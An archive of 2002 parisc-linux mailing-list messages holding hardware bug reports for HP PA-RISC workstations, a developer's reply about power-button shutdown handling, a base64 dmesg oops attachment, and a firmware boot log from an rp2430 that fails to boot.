Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-1000145800-1018372552=:26756"
X-Trace: ger.gmane.org 1416621224 6141 80.91.229.3 (22 Nov 2014 01:53:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  9 11:16:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE037482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Apr 2002 11:16:18 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id SAA27221
	for <parisc-linux@lists.parisc-linux.org>; Tue, 9 Apr 2002 18:17:38 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14551

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-1000145800-1018372552=:26756
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I just played a little with my C240 (serial console and X11 forwarding),
and decided to install a 64bit kernel just for fun (and to help you
testing them). I know that 64bit doesn't make sense at all (at least
not in the near future, since there is no 64bit userland support and I guess
not many applications would profit from it even if there was one).
Needless to say that I'm running a 32bit kernel again ;)


on all 2.4.x kernels tested so far
==================================
- the 32bit kernel shipped with the 0.9.3 iso (IIRC 2.4.9)
- 2.4.18-pa4-32bit
- 2.4.18-pa5-32bit
- 2.4.18-pa14-32bit
- 2.4.18-pa14-64bit

I've seen following issues:

- leds don't seem to work (i.e. no heartbeat or other leds on or blinking - or
  is my hp really so idle ?)
  This is just with the latest 2.4.18-pa14 kernels (2.4.18-pa5-32bit worked,
  but IIRC not perfectly)

- 100Mbit is not supported properly (full-duplex support is always
  recognized, but 100Mbit just occationally).
  Of course it's a full 10/100Mbit SWITCH (no hub), and I checked the cables
  Moreover I just have 100Mbit network devices plugged into the switch.

- the 'poweroff' command doesn't work, it just shutdowns the machine, but does
  no real poweroff. (AFAIK 'poweroff' is a synonym for 'shutdown -p now', isn't
  it ? this doesn't work either).
  The powerkey works as expected (including powering off the workstation)
  with 32bit kernels.



for kernel 2.4.18-pa14-64bit (32bit PDC):
========================================
- if fs type "auto" is set for a ext3 partition, the kernel detects the /, but
  the mount command (in the bootscript) fails to detect the fstype. Setting the
  fstype entry in /etc/fstab to "ext3" or "ext2" fixes the problem.
  Since 'mount -a' fails to detect the fs type, it won't remount /
  in read-write mode, and thus the system won't boot correctly.

  But "auto" in /etc/fstab works with the corresponding 32bit kernel

- crashme is effective (example settings, after a few minutes kernel crashed,
  even MagicSysRq didn't work. It didn't seem to 'work' on 2.4.18-pa5-32bit,
  I didn't try with the 2.4.18-pa14-32bit kernel)

- once I got a kernel oops at interrupt_stack() at boot up (attached to mail),
  but eveything seemed to work. I didn't get any more kernel oops.

- shutdown&poweroff when hitting powerkey does not work (it just switches off
  the workstation immediately; it works properly on the corresponding 32bit
  kernel and 2.4.18-pa5-32bit)

- if I compile in support for STIcon/STIfb, it doesn't switch the output
  to the console (after the 'branching to kernel entry point' message).
  At least I waited for quite some time, and I didn't seem to go on.
  I didn't compile in support for STIcon/STIfb for the 32bit kernel,
  therefore I can't tell whether there is the same problem or not.
  STIcon/STIfb works with 2.4.18-pa5-32bit. Well, my FX/2 card isn't supported
  for fb, but at least the kernel doesn't hang with that kernel.



some things that work on both 32/64bit kernel (2.4.8-pa14), probably not worth
to mention:

- tmpfs, ext3, ext2, iso9660
- harmony audio
- serial console, MagicSysRq over serial console
- of course scsi, ethernet and running 32bit applications
- ventilators ;)


N.B. I didn't try the latest modutils, in which the pa8000 cpu issue is fixed.
therefore I didn't compile any modules
BTW, i use the tulip driver for ethernet. Is it also possible (and safe)
to use the generic DEC driver ?

greetings max

---275789367-1000145800-1018372552=:26756
Content-Type: TEXT/plain; name="dmesg-tail.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0204091815520.26756@sal.ucc.ie>
Content-Description: tail of dmesg
Content-Disposition: attachment; filename="dmesg-tail.txt"

RVhUMyBGUyAyLjQtMC45LjE3LCAxMCBKYW4gMjAwMiBvbiBzZCg4LDIpLCBp
bnRlcm5hbCBqb3VybmFsDQpFWFQzLWZzOiBtb3VudGVkIGZpbGVzeXN0ZW0g
d2l0aCBvcmRlcmVkIGRhdGEgbW9kZS4NCmV0aDA6IFNldHRpbmcgZnVsbC1k
dXBsZXggYmFzZWQgb24gTUlJIzEgbGluayBwYXJ0bmVyIGNhcGFiaWxpdHkg
b2YgNDFlMS4NCmV0aDA6IG5vIElQdjYgcm91dGVycyBwcmVzZW50DQoNCiAg
ICAgWVpydldFU1RITE5YQkNWTWNiY2JjYmNiT0dGUlFQREkNClBTVzogMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgTm90IHRhaW50ZWQNCnIw
MC0wMyAgMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDQwMDZmZmY4IDAwMDAw
MDAwNDA0MjUyZDcgMDAwMDAwMDA0MDBhNTYyOA0KcjA0LTA3ICAwMDAwMDAw
MDQwNDM1OGJjIDAwMDAwMDAwMDAwMDEyMDAgMDAwMDAwMDAwMDAyOWYwMCAw
MDAwMDAwMDNjNmVmMzVmDQpyMDgtMTEgIDAwMDAwMDAwMDAwNTQwMjAgMDAw
MDAwMDAwZmZmZmZmZiAwMDAwMDAwMDAwMDUxYzE4IDAwMDAwMDAwMDAwMjg2
NzgNCnIxMi0xNSAgMDAwMDAwMDAwMDAyOWU3OCAwMDAwMDAwMDAwMDJkMDMw
IDAwMDAwMDAwZmFmMDEzOTAgMDAwMDAwMDAwMDAxNzAwMA0KcjE2LTE5ICAw
MDAwMDAwMDAwMDI4Njc4IDAwMDAwMDAwMDAwMjg2NzggMDAwMDAwMDAwMDAw
MjAwMCAwMDAwMDAwMDQwMjA1YjUwDQpyMjAtMjMgIDAwMDAwMDAwMDAwMDAw
MDQgMDAwMDAwMDA0MDE4OTYzNCAwMDAwMDAwMDQwNDI1MmI4IDAwMDAwMDAw
MDAwMDA1ZTUNCnIyNC0yNyAgMDAwMDAwMDAwMDAwMTIwMCAwMDAwMDAwMDAw
MDI5ZjAwIDAwMDAwMDAwMDAwMDAwMDUgMDAwMDAwMDAwMDAyODY3OA0KcjI4
LTMxICBmZmZmZmZmZmZmZmZmZmYwIDAwMDAwMDAwMDAwMDFmZmYgMDAwMDAw
MDBmYWYwMjZjMCAwMDAwMDAwMDQwMTg5NjNmDQpzcjAtMyAgIDAwMDAwMDAw
MDAwMDAzODAgMDAwMDAwMDAwMDAwMDM4MCAwMDAwMDAwMDAwMDAwMDAwIDAw
MDAwMDAwMDAwMDAzODANCnNyNC03ICAgMDAwMDAwMDAwMDAwMDM4MCAwMDAw
MDAwMDAwMDAwMzgwIDAwMDAwMDAwMDAwMDAzODAgMDAwMDAwMDAwMDAwMDM4
MA0KDQpJQVNROiAwMDAwMDAwMDAwMDAwMzgwIDAwMDAwMDAwMDAwMDAzODAg
SUFPUTogMDAwMDAwMDA0MDA1MWE2ZiAwMDAwMDAwMDQwMDUxYTczDQogSUlS
OiAzYWY2NDc5NyAgICBJU1I6IDAwMDAwMDAwMDAwMDAzODAgIElPUjogMDAw
MDAwMDA0MDQzYzA2Nw0KIENQVTogICAgICAgIDAgICBDUjMwOiAwMDAwMDAw
MDJjZWQwMDAwIENSMzE6IDAwMDAwMDAwMTA2MTAwMDANCiBPUklHX1IyODog
MDAwMDAwMDAwMDAyYWU3OA0KDQogICAgIFlacnZXRVNUSExOWEJDVk1jYmNi
Y2JjYk9HRlJRUERJDQpQU1c6IDAwMDAwMDAwMDAwMDAxMDAxMTExMDExMTAw
MDAxMTExIE5vdCB0YWludGVkDQpyMDAtMDMgIDAwMDAwMDAwMDAwMDAwMDAg
MDAwMDAwMDAwMTYwNWRkMiAwMDAwMDAwMDQwMDRjZThmIDAwMDAwMDAwMDAw
NTI3MjANCnIwNC0wNyAgMDAwMDAwMDAwMDA1MGMxNCAwMDAwMDAwMDAwMDAw
MDAyIDAwMDAwMDAwMDAwNTBjMTQgMDAwMDAwMDAwMDAwMDAxNg0KcjA4LTEx
ICAwMDAwMDAwMDAwMDRkZjU2IDAwMDAwMDAyMDE2MDNhZDAgMDAwMDAwMDAw
MDAwMDAwOSAwMDAwMDAwMDAwMDMxMWYwDQpyMTItMTUgIDAwMDAwMDAwMDAw
MDAwMjQgMDAwMDAwMDAwMDAwMDAwMiAwMDAwMDAwMDAwMDRlN2UwIDAwMDAw
MDAwMDE1ZmI2MzQNCnIxNi0xOSAgMDAwMDAwMDAwMDAyODY3OCAwMDAwMDAw
MDAwMDI4Njc4IDAwMDAwMDAwMDE1ZWE3ODggMDAwMDAwMDA0MDA2ZmZmOA0K
cjIwLTIzICAwMDAwMDAwMDAwMDBiNzQ4IDAwMDAwMDAwZmZmZWU5MWIgMDAw
MDAwMDAwMDAxYWI2MCAwMDAwMDAwMDAwMDUxMDE0DQpyMjQtMjcgIDAwMDAw
MDAwMDAwNTBjMTQgMDAwMDAwMDAwMDAwMDAwMSAwMDAwMDAwMDAwMDRmMzEw
IDAwMDAwMDAwMDAwMjg2NzgNCnIyOC0zMSAgMDAwMDAwMDAwMDAwMDAwMyAw
MDAwMDAwMDAwMDI1YTIyIDAwMDAwMDAwZmFmMDI3YzAgMDAwMDAwMDAwMDAw
MDAxMA0Kc3IwLTMgICAwMDAwMDAwMDAwMDAwNDAwIDAwMDAwMDAwMDAwMDA0
MDAgMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDAwMDAwNDAwDQpzcjQtNyAg
IDAwMDAwMDAwMDAwMDA0MDAgMDAwMDAwMDAwMDAwMDQwMCAwMDAwMDAwMDAw
MDAwNDAwIDAwMDAwMDAwMDAwMDA0MDANCg0KSUFTUTogMDAwMDAwMDAwMDAw
MDQwMCAwMDAwMDAwMDAwMDAwNDAwIElBT1E6IDAwMDAwMDAwNDAwNGJlOGYg
MDAwMDAwMDA0MDA0YmU5Mw0KIElJUjogZDJkNjFlNmMgICAgSVNSOiAwMDAw
MDAwMDAwMDAwNDAwICBJT1I6IDAwMDAwMDAwNDA0M2EwNjYNCiBDUFU6ICAg
ICAgICAwICAgQ1IzMDogMDAwMDAwMDAyY2VkMDAwMCBDUjMxOiAwMDAwMDAw
MDEwNjEwMDAwDQogT1JJR19SMjg6IDAwMDAwMDAwMDAwMmFlNzgNCg==
---275789367-1000145800-1018372552=:26756--



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Seelig <pseelig@uni-mainz.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Successful installation and keyboard problems
Date: 09 Apr 2002 19:42:57 +0200
Organization: En Casa S.A.
Lines: 28
Approved: news@gmane.org
Message-ID: <871ydo6a5a.fsf@p50811B33.dip.t-dialin.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621225 6143 80.91.229.3 (22 Nov 2014 01:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  9 13:12:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout11.sul.t-online.com (mailout11.sul.t-online.com [194.25.134.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AE73482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Apr 2002 13:12:35 -0600 (MDT)
Original-Received: from fwd02.sul.t-online.de 
	by mailout11.sul.t-online.com with smtp 
	id 16v12e-0000AS-0M; Tue, 09 Apr 2002 21:12:32 +0200
Original-Received: from pD9560CCC.dip.t-dialin.net (520046303170-0001@[217.86.12.204]) by fmrl02.sul.t-online.com
	with esmtp id 16v12a-0YUGIqC; Tue, 9 Apr 2002 21:12:28 +0200
Original-Received: from pD9560CCC.dip.t-dialin.net (localhost [127.0.0.1])
	by pD9560CCC.dip.t-dialin.net (8.12.2/8.12.2/Debian -5) with ESMTP id g39JGknT004682
	for <parisc-linux@lists.parisc-linux.org>; Tue, 9 Apr 2002 21:16:46 +0200
Original-Received: (from news@localhost)
	by pD9560CCC.dip.t-dialin.net (8.12.2/8.12.2/Debian -5) id g39JGk1G004679
	for parisc-linux@lists.parisc-linux.org; Tue, 9 Apr 2002 21:16:46 +0200
Original-Path: not-for-mail
Original-Newsgroups: local.parisc-linux
Original-Lines: 26
Original-NNTP-Posting-Host: localhost.zdv.uni-mainz.de
Original-X-Trace: pD9560CCC.dip.t-dialin.net 1018379806 4640 127.0.0.1 (9 Apr 2002 19:16:46 GMT)
Original-X-Complaints-To: usenet@pD9560CCC.dip.t-dialin.net
Original-NNTP-Posting-Date: Tue, 9 Apr 2002 19:16:46 +0000 (UTC)
Original-Sender: pseelig@p50811B33.dip.t-dialin.net
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-Sender: 520046303170-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14552

Hi all,

i finally downloaded the palinux-0.9.4 ISO and successfully installed
Debian on my 715/64.  Installation was surprisingly smooth -- albeit
without X so far -- and the system seems to run just fine dualbooting
with the NeXTSTEP-3.3 i installed last sunday. :-)

Because of NeXTSTEP i've once gotten rid of my HIL keyboard and mouse,
replacing both with standard PS/2 variants.  Unfortunately, at the
console the PS/2 keyboard (with German layout) chokes on pressing the
key containing the characters '>', '<' and '|' (on a german keyboard
the key between Shift and Y), only telling me:

     keyboard: unrecognized scancode (7f) ignored

I have to admit that i didn't check any FAQ.  So please simply ignore
my question if it can be solved with some scrutinizing RTFM. ;-)

Anyway, Debian runs and i'm really happy about it! :-)

                                    Thanks, P. *8^)
-- 
     ------------ Paul Seelig <pseelig@uni-mainz.de> --------------
   African Music Archive - Institute for Ethnology and Africa Studies
   Johannes Gutenberg-University   -  Forum 6  -  55099 Mainz/Germany
     ----------------- http://ntama.uni-mainz.de ------------------



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some bugs
Date: Wed, 10 Apr 2002 01:30:14 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <200204100130.14037.deller@gmx.de>
References: <Pine.LNX.4.44.0204091813530.26756-200000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621225 6147 80.91.229.3 (22 Nov 2014 01:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:45 +0000 (UTC)
To: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  9 17:32:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 45BC4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Apr 2002 17:32:31 -0600 (MDT)
Original-Received: (qmail 23915 invoked by uid 0); 9 Apr 2002 23:32:23 -0000
Original-Received: from pd9e084d1.dip.t-dialin.net (HELO P100) (217.224.132.209)
  by mail.gmx.net (mp002-rz3) with SMTP; 9 Apr 2002 23:32:23 -0000
X-Mailer: KMail [version 1.4.5]
In-Reply-To: <Pine.LNX.4.44.0204091813530.26756-200000@sal.ucc.ie>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14553

Hi Max,

On Tuesday 09 April 2002 19:15, M. Grabert wrote:
>
> on all 2.4.x kernels tested so far
> ==================================
> - the 32bit kernel shipped with the 0.9.3 iso (IIRC 2.4.9)
> - 2.4.18-pa4-32bit
> - 2.4.18-pa5-32bit
> - 2.4.18-pa14-32bit
> - 2.4.18-pa14-64bit
>
> I've seen following issues:
>
> - leds don't seem to work (i.e. no heartbeat or other leds on or blinking -
> or is my hp really so idle ?)
>   This is just with the latest 2.4.18-pa14 kernels (2.4.18-pa5-32bit
> worked, but IIRC not perfectly)

Could you post me some of your bootlogs ?

> - 100Mbit is not supported properly (full-duplex support is always
>   recognized, but 100Mbit just occationally).
>   Of course it's a full 10/100Mbit SWITCH (no hub), and I checked the
> cables Moreover I just have 100Mbit network devices plugged into the
> switch.

I never had problems with tulip and 100MBit here (on c3k).

> - the 'poweroff' command doesn't work, it just shutdowns the machine, but
> does no real poweroff. (AFAIK 'poweroff' is a synonym for 'shutdown -p
> now', isn't it ? this doesn't work either).
>   The powerkey works as expected (including powering off the workstation)
>   with 32bit kernels.

I've looked again at that problem during my latest patches (2.4.18-pa15).
As far as it seems to me we can't poweroff the system directly via software only.
The only possible thing we can do, is to catch all powerbutton presses from the
user and allow or disallow the controlled shutdown of the system. So the current
implementation is, that a) if you press the powerbutton we detect it and initiate
a clean shutdown. The PDC ROM will then power off the system automatically for 
us at the end of the shutdown procedure.
And: b) If you only tell Linux to "shutdown -n" (without having pressed the button)
we initiate the shutdown procedure, stop to catch any powerbutton presses and 
thus enable PDC to power off the system as soon as you press the button later on. 
But in this case you will still need to press the button to really power off the 
machine.  We just only allow the PDC to directly power it off.

So currently I don't see any solution here. You will _always_ have to press the power
button at least once: Directly while the kernel runs, or after you have started "shutdown -n".
Of course I may be wrong, in which case I would appreciate if someone from HP
would correct me here.


> for kernel 2.4.18-pa14-64bit (32bit PDC):
> ========================================
> - if fs type "auto" is set for a ext3 partition, the kernel detects the /,
> but the mount command (in the bootscript) fails to detect the fstype.
> Setting the fstype entry in /etc/fstab to "ext3" or "ext2" fixes the
> problem. Since 'mount -a' fails to detect the fs type, it won't remount /
> in read-write mode, and thus the system won't boot correctly.
>
>   But "auto" in /etc/fstab works with the corresponding 32bit kernel

This should be reported to the debian folks.

> - crashme is effective (example settings, after a few minutes kernel
> crashed, even MagicSysRq didn't work. It didn't seem to 'work' on
> 2.4.18-pa5-32bit, I didn't try with the 2.4.18-pa14-32bit kernel)
>
> - once I got a kernel oops at interrupt_stack() at boot up (attached to
> mail), but eveything seemed to work. I didn't get any more kernel oops.

We don't have chance to trace this bug without having your System.map.

> - shutdown&poweroff when hitting powerkey does not work (it just switches
> off the workstation immediately; it works properly on the corresponding
> 32bit kernel and 2.4.18-pa5-32bit)

Ryan committed some related changes here in 2.4.18-pa16. 
Could you retry with this kernel and check the results with CONFIG_PDC_NARROW 
enabled and disabled ?

> - if I compile in support for STIcon/STIfb, it doesn't switch the output
>   to the console (after the 'branching to kernel entry point' message).
>   At least I waited for quite some time, and I didn't seem to go on.
>   I didn't compile in support for STIcon/STIfb for the 32bit kernel,
>   therefore I can't tell whether there is the same problem or not.
>   STIcon/STIfb works with 2.4.18-pa5-32bit. Well, my FX/2 card isn't
> supported for fb, but at least the kernel doesn't hang with that kernel.

Are you using the latest palo ? Do you maybe have "console=ttyS00" as 
kernel boot parameter (check /proc/cmdline).

Helge



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Duraid Madina <Duraid@unsw.edu.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] shiny new rp2430 (A400) won't boot :-(
Date: Wed, 10 Apr 2002 14:53:32 +1000 (EST)
Lines: 699
Approved: news@gmane.org
Message-ID: <200204100453.g3A4rWV04513@parallel.hpc.unsw.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="%--multipart-mixed-boundary-1.4418.1018414412--%"
X-Trace: ger.gmane.org 1416621225 6149 80.91.229.3 (22 Nov 2014 01:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  9 22:54:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from parallel.hpc.unsw.edu.au (parallel.hpc.unsw.edu.au [129.94.176.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC4EF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Apr 2002 22:53:58 -0600 (MDT)
Original-Received: (from duraid@localhost)
	by parallel.hpc.unsw.edu.au (8.10.2/8.10.2) id g3A4rWV04513;
	Wed, 10 Apr 2002 14:53:32 +1000
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14554

--%--multipart-mixed-boundary-1.4418.1018414412--%
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	My nice new rp2430 (looks like an A400, but has a PA-8700 at 650MHz
inside, not sure if this is the only difference..) arrived this morning. I
hooked up an external (Sun) SCSI CDROM drive, an internal Fujitsu SCA-2
disk, and an RS232 console (well, FreeBSD 486 machine ;)

	Unfortunately, it doesn't boot! The kernel seems to load okay and
probe around a bit, but as soon as it gets into the midst of SCSI things,
the box either locks (I've only seen this happen once) or, generates a
(firmware, I presume) 'SYSTEM ALERT' message, which doesn't mean a whole lot
to me.

	For the record, as soon as I power on this system, the 'Attention'
and 'Fault' lights flash, but I have no idea if this is normal, or if not,
why they're flashing.

	A transcript of the boot session is attached. I hope someone can
help me out here!

	Many thanks in advance,

	Duraid

--%--multipart-mixed-boundary-1.4418.1018414412--%
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Description: C program text
Content-Disposition: attachment; filename="bootlog.txt"

/* this is the bootlog of an HP rp2430 (HP part #A6889A) attempting to boot
linux (pa-linux 0.9.3) from an external CDROM drive. As you'll see, it fails 
right about where I'd expect SCSI devices to be probed. Hmmm.

This system is 'out of the box', apart from the external CDROM drive (an old
Sun one) and the internal Fujitsu SCA disk which were added.

If you can help or have any idea what's going on, please let me know,
I'm duraid@unsw.edu.au - thanks! */

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

dallas# cu -s 9600 -l /dev/cuaa0
Connected.

********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error
detected.
Check Chassis and Console Logs for error messages.

platform                  config                     626F
processor                 test                       1142
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
PDH                       config                     322F
PDH                       test                       3149
PDH                       test                       3160
platform                  test                       616A
processor                 test                       1146
processor                 INIT                       1701
processor                 test                       1110
processor                 test                       1111
processor                 test                       1112
processor                 test                       1113
processor                 test                       1114
processor                 test                       1115
processor                 test                       1116
processor                 test                       1117
processor                 test                       1118
processor                 test                       1119
processor                 test                       111A
processor                 test                       111B
processor                 test                       111C
processor                 test                       111D
processor cache           test                       2111
processor cache           test                       2112
processor cache           test                       2113
processor cache           test                       2121
processor cache           test                       2122
processor cache           test                       2122
processor                 test                       1151
processor                 INIT                       1701
processor                 test                       1110
processor                 test                       1142
processor                 test                       1142
PDH                       test                       3158
PDH                       test                       3157
PDH                       test                       316E
PDH                       test                       316E
PDH                       test                       316E
memory                    config                     7210
memory                    INIT                       7702
memory                    INIT                       771D
memory                    test                       7150
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7213
memory                    config                     7213
memory                    config                     7213
memory                    config                     7213
memory                    config                     7213
memory                    config                     7213
memory                    config                     7215
memory                    config                     7216
memory                    config                     72A0
memory                    test                       71A1
memory                    test                       71A2
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A3
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A6
memory                    config                     7217
memory                    config                     7218
memory                    config                     72A0
memory                    test                       71A1
memory                    test                       71A2
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A3
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A6
memory                    config                     7210
I/O                       INIT                       8701
I/O                       test                       8118
I/O                       test                       8118
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
memory                    config                     7240
memory                    INIT                       7702
memory                    config                     7241
memory                    config                     7243
memory                    config                     72A0
memory                    test                       71A1
memory                    test                       71A2
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A3
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    INIT                       7745
memory                    config                     7240
I/O                       config                     8204
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       config                     8204
processor                 test                       1120
processor                 test                       1133
processor                 test                       1134
processor                 test                       1135
processor                 test                       1136
processor                 test                       1137
